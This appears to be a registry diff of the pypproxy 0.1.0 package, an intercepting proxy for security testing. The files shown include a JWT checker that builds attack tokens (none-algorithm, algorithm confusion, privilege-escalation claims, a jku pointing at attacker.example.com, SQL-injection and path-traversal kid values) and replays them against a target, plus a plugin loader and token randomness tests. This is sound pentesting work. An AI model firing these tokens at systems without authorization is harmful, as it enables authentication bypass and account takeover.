pypproxy 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (72) hide show
  1. pypproxy/__init__.py +0 -0
  2. pypproxy/api/__init__.py +0 -0
  3. pypproxy/api/server.py +427 -0
  4. pypproxy/bulk/__init__.py +0 -0
  5. pypproxy/bulk/sender.py +97 -0
  6. pypproxy/cert/__init__.py +0 -0
  7. pypproxy/cert/ca.py +144 -0
  8. pypproxy/cert/client_cert.py +65 -0
  9. pypproxy/codec.py +176 -0
  10. pypproxy/config/__init__.py +0 -0
  11. pypproxy/config/config.py +106 -0
  12. pypproxy/dns/__init__.py +0 -0
  13. pypproxy/dns/server.py +149 -0
  14. pypproxy/exporter/__init__.py +0 -0
  15. pypproxy/exporter/exporter.py +122 -0
  16. pypproxy/exporter/importer.py +169 -0
  17. pypproxy/graphql/__init__.py +0 -0
  18. pypproxy/graphql/detector.py +76 -0
  19. pypproxy/graphql/introspection.py +217 -0
  20. pypproxy/graphql/modifier.py +98 -0
  21. pypproxy/graphql/schema_store.py +33 -0
  22. pypproxy/intercept/__init__.py +0 -0
  23. pypproxy/intercept/manager.py +142 -0
  24. pypproxy/interceptor/__init__.py +0 -0
  25. pypproxy/interceptor/interceptor.py +172 -0
  26. pypproxy/proto/__init__.py +0 -0
  27. pypproxy/proto/grpc.py +48 -0
  28. pypproxy/proto/mqtt.py +119 -0
  29. pypproxy/proto/ws.py +120 -0
  30. pypproxy/proto/ws_intercept.py +117 -0
  31. pypproxy/proxy/__init__.py +0 -0
  32. pypproxy/proxy/proxy.py +407 -0
  33. pypproxy/replay/__init__.py +0 -0
  34. pypproxy/replay/replay.py +77 -0
  35. pypproxy/rule/__init__.py +0 -0
  36. pypproxy/rule/rule.py +198 -0
  37. pypproxy/scan/__init__.py +0 -0
  38. pypproxy/scan/scanner.py +296 -0
  39. pypproxy/script/__init__.py +0 -0
  40. pypproxy/script/engine.py +49 -0
  41. pypproxy/security/__init__.py +0 -0
  42. pypproxy/security/header_checker.py +308 -0
  43. pypproxy/security/int_overflow.py +193 -0
  44. pypproxy/security/jwt_checker.py +273 -0
  45. pypproxy/security/plugin.py +152 -0
  46. pypproxy/security/randomness.py +165 -0
  47. pypproxy/store/__init__.py +0 -0
  48. pypproxy/store/db.py +189 -0
  49. pypproxy/store/filter_parser.py +181 -0
  50. pypproxy/store/fts.py +105 -0
  51. pypproxy/store/models.py +81 -0
  52. pypproxy/store/scope.py +63 -0
  53. pypproxy/store/store.py +120 -0
  54. pypproxy/ui/__init__.py +0 -0
  55. pypproxy/ui/app.py +386 -0
  56. pypproxy/ui/bulk_sender_ui.py +125 -0
  57. pypproxy/ui/cui.py +162 -0
  58. pypproxy/ui/detail.py +179 -0
  59. pypproxy/ui/diff_view.py +118 -0
  60. pypproxy/ui/graphql_tab.py +265 -0
  61. pypproxy/ui/import_tab.py +136 -0
  62. pypproxy/ui/intercept_dialog.py +74 -0
  63. pypproxy/ui/resender.py +140 -0
  64. pypproxy/ui/scan_tab.py +98 -0
  65. pypproxy/ui/security_tab.py +356 -0
  66. pypproxy/ui/settings.py +413 -0
  67. pypproxy/ui/theme.py +59 -0
  68. pypproxy-0.1.0.dist-info/METADATA +19 -0
  69. pypproxy-0.1.0.dist-info/RECORD +72 -0
  70. pypproxy-0.1.0.dist-info/WHEEL +4 -0
  71. pypproxy-0.1.0.dist-info/entry_points.txt +2 -0
  72. pypproxy-0.1.0.dist-info/licenses/LICENSE +21 -0
@@ -0,0 +1,273 @@
1
+ from __future__ import annotations
2
+
3
+ import base64
4
+ import hashlib
5
+ import hmac
6
+ import json
7
+ import re
8
+ from dataclasses import dataclass
9
+
10
+
11
+ @dataclass
12
+ class JWTCheckResult:
13
+ vector: str
14
+ description: str
15
+ modified_token: str = ""
16
+ status_code: int = 0
17
+ response_body: bytes = b""
18
+ duration_ms: int = 0
19
+ suspicious: bool = False
20
+ note: str = ""
21
+
22
+ def to_dict(self) -> dict:
23
+ import base64 as b64
24
+
25
+ return {
26
+ "vector": self.vector,
27
+ "description": self.description,
28
+ "modified_token": self.modified_token,
29
+ "status_code": self.status_code,
30
+ "response_body": b64.b64encode(self.response_body).decode()
31
+ if self.response_body
32
+ else "",
33
+ "duration_ms": self.duration_ms,
34
+ "suspicious": self.suspicious,
35
+ "note": self.note,
36
+ }
37
+
38
+
39
+ def _b64url_decode(s: str) -> bytes:
40
+ s += "=" * (-len(s) % 4)
41
+ return base64.urlsafe_b64decode(s)
42
+
43
+
44
+ def _b64url_encode(b: bytes) -> str:
45
+ return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
46
+
47
+
48
+ def _parse_jwt(token: str) -> tuple[dict, dict, str] | None:
49
+ parts = token.split(".")
50
+ if len(parts) != 3:
51
+ return None
52
+ try:
53
+ header = json.loads(_b64url_decode(parts[0]))
54
+ payload = json.loads(_b64url_decode(parts[1]))
55
+ return header, payload, parts[2]
56
+ except Exception:
57
+ return None
58
+
59
+
60
+ def _make_jwt(header: dict, payload: dict, signature: str = "") -> str:
61
+ h = _b64url_encode(json.dumps(header, separators=(",", ":")).encode())
62
+ p = _b64url_encode(json.dumps(payload, separators=(",", ":")).encode())
63
+ return f"{h}.{p}.{signature}"
64
+
65
+
66
+ def generate_test_tokens(token: str) -> list[tuple[str, str, str]]:
67
+ """
68
+ Generate attack tokens from a valid JWT.
69
+ Returns list of (vector_name, description, modified_token).
70
+ """
71
+ parsed = _parse_jwt(token)
72
+ if parsed is None:
73
+ return []
74
+
75
+ header, payload, sig = parsed
76
+ results: list[tuple[str, str, str]] = []
77
+
78
+ # 1. None algorithm
79
+ h_none = dict(header)
80
+ h_none["alg"] = "none"
81
+ results.append(
82
+ ("none_alg", "Algorithm set to 'none' (no signature)", _make_jwt(h_none, payload, ""))
83
+ )
84
+
85
+ for variant in ("None", "NONE", "nOnE"):
86
+ h_v = dict(header)
87
+ h_v["alg"] = variant
88
+ results.append(
89
+ (f"none_alg_{variant}", f"Algorithm set to '{variant}'", _make_jwt(h_v, payload, ""))
90
+ )
91
+
92
+ # 2. alg confusion: RS256 → HS256 (sign with public key as HMAC secret)
93
+ if header.get("alg", "").startswith("RS"):
94
+ h_hs = dict(header)
95
+ h_hs["alg"] = "HS256"
96
+ unsigned = _make_jwt(h_hs, payload, "").rsplit(".", 1)[0]
97
+ fake_sig = _b64url_encode(
98
+ hmac.new(b"public-key-here", unsigned.encode(), hashlib.sha256).digest()
99
+ )
100
+ results.append(
101
+ (
102
+ "alg_confusion_rs_hs",
103
+ "RS256→HS256 algorithm confusion",
104
+ _make_jwt(h_hs, payload, fake_sig),
105
+ )
106
+ )
107
+
108
+ # 3. Empty signature
109
+ results.append(("empty_sig", "Empty signature", _make_jwt(header, payload, "")))
110
+
111
+ # 4. Payload manipulation — remove exp
112
+ if "exp" in payload:
113
+ p_no_exp = dict(payload)
114
+ del p_no_exp["exp"]
115
+ results.append(("no_exp", "Removed 'exp' claim", _make_jwt(header, p_no_exp, sig)))
116
+
117
+ # 5. Payload manipulation — extend exp far future
118
+ if "exp" in payload:
119
+ p_ext = dict(payload)
120
+ p_ext["exp"] = 9999999999
121
+ results.append(
122
+ ("extended_exp", "Extended 'exp' to year 2286", _make_jwt(header, p_ext, sig))
123
+ )
124
+
125
+ # 6. Privilege escalation attempts
126
+ priv_fields = {
127
+ "role": ["admin", "superuser", "root"],
128
+ "is_admin": [True],
129
+ "admin": [True],
130
+ "scope": ["admin"],
131
+ }
132
+ for field_name, values in priv_fields.items():
133
+ if field_name in payload:
134
+ for val in values:
135
+ p_priv = dict(payload)
136
+ p_priv[field_name] = val
137
+ results.append(
138
+ (
139
+ f"priv_escalation_{field_name}",
140
+ f"Set {field_name}={val!r}",
141
+ _make_jwt(header, p_priv, sig),
142
+ )
143
+ )
144
+
145
+ # 7. JKU header injection
146
+ h_jku = dict(header)
147
+ h_jku["jku"] = "http://attacker.example.com/jwks.json"
148
+ results.append(
149
+ (
150
+ "jku_injection",
151
+ "JKU header pointing to attacker-controlled URL",
152
+ _make_jwt(h_jku, payload, sig),
153
+ )
154
+ )
155
+
156
+ # 8. KID injection
157
+ h_kid_sqli = dict(header)
158
+ h_kid_sqli["kid"] = "' OR 1=1--"
159
+ results.append(("kid_sqli", "KID SQL injection", _make_jwt(h_kid_sqli, payload, sig)))
160
+
161
+ h_kid_path = dict(header)
162
+ h_kid_path["kid"] = "../../dev/null"
163
+ results.append(
164
+ ("kid_path_traversal", "KID path traversal", _make_jwt(h_kid_path, payload, sig))
165
+ )
166
+
167
+ # 9. Original sig with modified payload (signature bypass)
168
+ p_modified = dict(payload)
169
+ p_modified["_test"] = "paxy"
170
+ results.append(
171
+ (
172
+ "sig_bypass",
173
+ "Modified payload with original signature",
174
+ _make_jwt(header, p_modified, sig),
175
+ )
176
+ )
177
+
178
+ return results
179
+
180
+
181
+ async def run_checks(
182
+ token: str,
183
+ entry_id: int,
184
+ method: str,
185
+ scheme: str,
186
+ host: str,
187
+ path: str,
188
+ query: str,
189
+ headers: dict[str, list[str]],
190
+ body: bytes,
191
+ timeout: int = 30,
192
+ ) -> list[JWTCheckResult]:
193
+ import time
194
+
195
+ import httpx
196
+
197
+ test_tokens = generate_test_tokens(token)
198
+ results: list[JWTCheckResult] = []
199
+
200
+ # baseline — original request
201
+ baseline_status = 0
202
+ async with httpx.AsyncClient(verify=False, timeout=timeout, http2=True) as client:
203
+ try:
204
+ url = f"{scheme}://{host}{path}" + (f"?{query}" if query else "")
205
+ req_headers = {k: ", ".join(v) for k, v in headers.items()}
206
+ resp = await client.request(method=method, url=url, headers=req_headers, content=body)
207
+ baseline_status = resp.status_code
208
+ except Exception:
209
+ pass
210
+
211
+ for vector, description, modified_token in test_tokens:
212
+ mod_headers = dict(headers)
213
+ # Replace token in Authorization header
214
+ auth = ", ".join(headers.get("authorization", [""])).strip()
215
+ if auth.lower().startswith("bearer "):
216
+ mod_headers["authorization"] = [f"Bearer {modified_token}"]
217
+ else:
218
+ mod_headers["authorization"] = [f"Bearer {modified_token}"]
219
+
220
+ req_headers = {k: ", ".join(v) for k, v in mod_headers.items()}
221
+ url = f"{scheme}://{host}{path}" + (f"?{query}" if query else "")
222
+
223
+ start = time.monotonic()
224
+ status_code = 0
225
+ resp_body = b""
226
+ try:
227
+ async with httpx.AsyncClient(verify=False, timeout=timeout, http2=True) as client:
228
+ resp = await client.request(
229
+ method=method, url=url, headers=req_headers, content=body
230
+ )
231
+ status_code = resp.status_code
232
+ resp_body = resp.content
233
+ except Exception as e:
234
+ resp_body = str(e).encode()
235
+
236
+ dur = int((time.monotonic() - start) * 1000)
237
+
238
+ # Suspicious: server accepted modified token (2xx when baseline was also 2xx means no change;
239
+ # but if baseline was 401/403 and modified gets 2xx that's very suspicious)
240
+ suspicious = (status_code in range(200, 300) and baseline_status in (401, 403, 0)) or (
241
+ vector in ("none_alg", "alg_confusion_rs_hs", "empty_sig")
242
+ and status_code in range(200, 300)
243
+ )
244
+
245
+ results.append(
246
+ JWTCheckResult(
247
+ vector=vector,
248
+ description=description,
249
+ modified_token=modified_token[:80] + "...",
250
+ status_code=status_code,
251
+ response_body=resp_body[:512],
252
+ duration_ms=dur,
253
+ suspicious=suspicious,
254
+ )
255
+ )
256
+
257
+ return results
258
+
259
+
260
+ def extract_jwt_from_headers(headers: dict[str, list[str]]) -> str | None:
261
+ auth = headers.get("authorization", [""])
262
+ for val in auth:
263
+ m = re.match(r"Bearer\s+([A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*)", val)
264
+ if m:
265
+ return m.group(1)
266
+ # Also check cookies
267
+ for val in headers.get("cookie", []):
268
+ m = re.search(r"([A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*)", val)
269
+ if m:
270
+ token = m.group(1)
271
+ if _parse_jwt(token):
272
+ return token
273
+ return None
@@ -0,0 +1,152 @@
1
+ from __future__ import annotations
2
+
3
+ import importlib.util
4
+ import logging
5
+ import threading
6
+ from dataclasses import dataclass
7
+ from pathlib import Path
8
+
9
+ from pypproxy.store.models import Entry
10
+
11
+ logger = logging.getLogger(__name__)
12
+
13
+
14
+ @dataclass
15
+ class PluginInfo:
16
+ name: str
17
+ version: str
18
+ description: str
19
+ path: str
20
+
21
+
22
+ class PluginBase:
23
+ """Base class for paxy plugins. Override any hooks you need."""
24
+
25
+ name: str = "unnamed"
26
+ version: str = "0.1.0"
27
+ description: str = ""
28
+
29
+ def on_request(self, entry: Entry) -> Entry | None:
30
+ """Called before a request is forwarded. Return modified entry or None to skip."""
31
+ return entry
32
+
33
+ def on_response(self, entry: Entry) -> Entry | None:
34
+ """Called after a response is received. Return modified entry or None to skip."""
35
+ return entry
36
+
37
+ def on_entry_added(self, entry: Entry) -> None:
38
+ """Called when an entry is added to the store."""
39
+
40
+ def ui_tab(self) -> dict | None:
41
+ """Return {'title': str, 'build': callable(container)} to add a UI tab, or None."""
42
+ return None
43
+
44
+
45
+ class PluginManager:
46
+ def __init__(self, plugin_dir: str | None = None) -> None:
47
+ self._plugins: list[PluginBase] = []
48
+ self._lock = threading.Lock()
49
+ self._plugin_dir = plugin_dir or str(Path.home() / ".paxy" / "plugins")
50
+
51
+ def load_directory(self) -> int:
52
+ """Load all .py files from the plugin directory. Returns count loaded."""
53
+ d = Path(self._plugin_dir)
54
+ if not d.exists():
55
+ d.mkdir(parents=True, exist_ok=True)
56
+ return 0
57
+
58
+ count = 0
59
+ for py_file in sorted(d.glob("*.py")):
60
+ if py_file.name.startswith("_"):
61
+ continue
62
+ try:
63
+ self.load_file(str(py_file))
64
+ count += 1
65
+ except Exception as e:
66
+ logger.warning("Failed to load plugin %s: %s", py_file.name, e)
67
+ return count
68
+
69
+ def load_file(self, path: str) -> PluginBase:
70
+ spec = importlib.util.spec_from_file_location(f"paxy_plugin_{Path(path).stem}", path)
71
+ if spec is None or spec.loader is None:
72
+ raise ImportError(f"Cannot load: {path}")
73
+ mod = importlib.util.module_from_spec(spec)
74
+ spec.loader.exec_module(mod) # type: ignore[union-attr]
75
+
76
+ # Find PluginBase subclass in module
77
+ plugin_cls = None
78
+ for attr in vars(mod).values():
79
+ if isinstance(attr, type) and issubclass(attr, PluginBase) and attr is not PluginBase:
80
+ plugin_cls = attr
81
+ break
82
+
83
+ if plugin_cls is None:
84
+ raise ImportError(f"No PluginBase subclass found in {path}")
85
+
86
+ instance = plugin_cls()
87
+ with self._lock:
88
+ self._plugins.append(instance)
89
+ logger.info("Loaded plugin: %s v%s from %s", instance.name, instance.version, path)
90
+ return instance
91
+
92
+ def unload(self, name: str) -> None:
93
+ with self._lock:
94
+ self._plugins = [p for p in self._plugins if p.name != name]
95
+
96
+ def list(self) -> list[PluginInfo]:
97
+ with self._lock:
98
+ return [
99
+ PluginInfo(
100
+ name=p.name,
101
+ version=p.version,
102
+ description=p.description,
103
+ path=getattr(p, "__module__", ""),
104
+ )
105
+ for p in self._plugins
106
+ ]
107
+
108
+ def run_on_request(self, entry: Entry) -> Entry:
109
+ with self._lock:
110
+ plugins = list(self._plugins)
111
+ for p in plugins:
112
+ try:
113
+ result = p.on_request(entry)
114
+ if result is not None:
115
+ entry = result
116
+ except Exception as e:
117
+ logger.warning("Plugin %s on_request error: %s", p.name, e)
118
+ return entry
119
+
120
+ def run_on_response(self, entry: Entry) -> Entry:
121
+ with self._lock:
122
+ plugins = list(self._plugins)
123
+ for p in plugins:
124
+ try:
125
+ result = p.on_response(entry)
126
+ if result is not None:
127
+ entry = result
128
+ except Exception as e:
129
+ logger.warning("Plugin %s on_response error: %s", p.name, e)
130
+ return entry
131
+
132
+ def run_on_entry_added(self, entry: Entry) -> None:
133
+ with self._lock:
134
+ plugins = list(self._plugins)
135
+ for p in plugins:
136
+ try:
137
+ p.on_entry_added(entry)
138
+ except Exception as e:
139
+ logger.warning("Plugin %s on_entry_added error: %s", p.name, e)
140
+
141
+ def get_ui_tabs(self) -> list[dict]:
142
+ with self._lock:
143
+ plugins = list(self._plugins)
144
+ tabs = []
145
+ for p in plugins:
146
+ try:
147
+ tab = p.ui_tab()
148
+ if tab:
149
+ tabs.append(tab)
150
+ except Exception as e:
151
+ logger.warning("Plugin %s ui_tab error: %s", p.name, e)
152
+ return tabs
@@ -0,0 +1,165 @@
1
+ from __future__ import annotations
2
+
3
+ import base64
4
+ import math
5
+ import re
6
+ from dataclasses import dataclass
7
+
8
+
9
+ @dataclass
10
+ class RandomnessResult:
11
+ test_name: str
12
+ passed: bool
13
+ score: float
14
+ detail: str
15
+
16
+ def to_dict(self) -> dict:
17
+ return {
18
+ "test_name": self.test_name,
19
+ "passed": self.passed,
20
+ "score": round(self.score, 4),
21
+ "detail": self.detail,
22
+ }
23
+
24
+
25
+ def analyse_token(token: str) -> list[RandomnessResult]:
26
+ """Run statistical randomness tests on a token string."""
27
+ # Try to decode base64/base64url tokens
28
+ bits = _token_to_bits(token)
29
+ if not bits:
30
+ return [RandomnessResult("parse", False, 0.0, "Could not extract bits from token")]
31
+
32
+ results: list[RandomnessResult] = []
33
+ results.append(_frequency_test(bits))
34
+ results.append(_runs_test(bits))
35
+ results.append(_longest_run_test(bits))
36
+ results.append(_entropy_test(token))
37
+ results.append(_serial_test(bits))
38
+ return results
39
+
40
+
41
+ def _token_to_bits(token: str) -> list[int]:
42
+ # strip JWT signature part
43
+ if token.count(".") == 2:
44
+ token = token.split(".")[1] # use payload
45
+
46
+ # try base64url decode
47
+ for attempt in (token, token + "=" * (-len(token) % 4)):
48
+ try:
49
+ raw = base64.urlsafe_b64decode(attempt)
50
+ return [int(b) for byte in raw for b in format(byte, "08b")]
51
+ except Exception:
52
+ pass
53
+
54
+ # treat as hex
55
+ try:
56
+ clean = re.sub(r"[^0-9a-fA-F]", "", token)
57
+ if len(clean) >= 16:
58
+ raw = bytes.fromhex(clean)
59
+ return [int(b) for byte in raw for b in format(byte, "08b")]
60
+ except Exception:
61
+ pass
62
+
63
+ # use raw bytes
64
+ raw = token.encode()
65
+ return [int(b) for byte in raw for b in format(byte, "08b")]
66
+
67
+
68
+ def _frequency_test(bits: list[int]) -> RandomnessResult:
69
+ """NIST SP800-22 frequency (monobit) test."""
70
+ n = len(bits)
71
+ s = sum(1 if b else -1 for b in bits)
72
+ s_obs = abs(s) / math.sqrt(n)
73
+ p_value = math.erfc(s_obs / math.sqrt(2))
74
+ passed = p_value >= 0.01
75
+ ratio = sum(bits) / n
76
+ return RandomnessResult(
77
+ "Frequency (monobit)",
78
+ passed,
79
+ p_value,
80
+ f"Ones ratio={ratio:.3f} (ideal=0.5), p={p_value:.4f}",
81
+ )
82
+
83
+
84
+ def _runs_test(bits: list[int]) -> RandomnessResult:
85
+ """NIST runs test."""
86
+ n = len(bits)
87
+ ones = sum(bits)
88
+ pi = ones / n
89
+
90
+ if abs(pi - 0.5) >= 2 / math.sqrt(n):
91
+ return RandomnessResult(
92
+ "Runs",
93
+ False,
94
+ 0.0,
95
+ f"Pre-condition failed: ones ratio={pi:.3f} too far from 0.5",
96
+ )
97
+
98
+ v_obs = 1 + sum(1 for i in range(n - 1) if bits[i] != bits[i + 1])
99
+ num = abs(v_obs - 2 * n * pi * (1 - pi))
100
+ den = 2 * math.sqrt(2 * n) * pi * (1 - pi)
101
+ p_value = math.erfc(num / den)
102
+ passed = p_value >= 0.01
103
+ return RandomnessResult("Runs", passed, p_value, f"runs={v_obs}, p={p_value:.4f}")
104
+
105
+
106
+ def _longest_run_test(bits: list[int]) -> RandomnessResult:
107
+ """Longest run of ones test (simplified)."""
108
+ longest = 0
109
+ current = 0
110
+ for b in bits:
111
+ if b == 1:
112
+ current += 1
113
+ longest = max(longest, current)
114
+ else:
115
+ current = 0
116
+
117
+ n = len(bits)
118
+ expected = math.log2(n) if n > 0 else 0
119
+ ratio = longest / expected if expected > 0 else float("inf")
120
+ passed = ratio < 3.0
121
+ return RandomnessResult(
122
+ "Longest run",
123
+ passed,
124
+ 1.0 / ratio if ratio > 0 else 0.0,
125
+ f"longest_run={longest}, expected~{expected:.1f}, ratio={ratio:.2f}",
126
+ )
127
+
128
+
129
+ def _entropy_test(token: str) -> RandomnessResult:
130
+ """Shannon entropy of the token characters."""
131
+ from collections import Counter
132
+
133
+ counts = Counter(token)
134
+ n = len(token)
135
+ entropy = -sum((c / n) * math.log2(c / n) for c in counts.values() if c > 0)
136
+ max_entropy = math.log2(len(counts)) if len(counts) > 1 else 0
137
+ ratio = entropy / max_entropy if max_entropy > 0 else 0
138
+ passed = ratio >= 0.7
139
+ return RandomnessResult(
140
+ "Shannon entropy",
141
+ passed,
142
+ ratio,
143
+ f"entropy={entropy:.2f} bits, max={max_entropy:.2f}, ratio={ratio:.2f}",
144
+ )
145
+
146
+
147
+ def _serial_test(bits: list[int]) -> RandomnessResult:
148
+ """Serial (digram frequency) test."""
149
+ from collections import Counter
150
+
151
+ n = len(bits)
152
+ if n < 4:
153
+ return RandomnessResult("Serial", False, 0.0, "Too few bits")
154
+
155
+ digrams = Counter(zip(bits, bits[1:], strict=False))
156
+ expected = (n - 1) / 4
157
+ chi2 = sum((c - expected) ** 2 / expected for c in digrams.values())
158
+ # 3 degrees of freedom, rough threshold
159
+ passed = chi2 < 16.27 # chi2 p=0.001, df=3
160
+ return RandomnessResult(
161
+ "Serial (digram)",
162
+ passed,
163
+ 1.0 / (1 + chi2 / 10),
164
+ f"chi2={chi2:.2f} (threshold<16.27)",
165
+ )
File without changes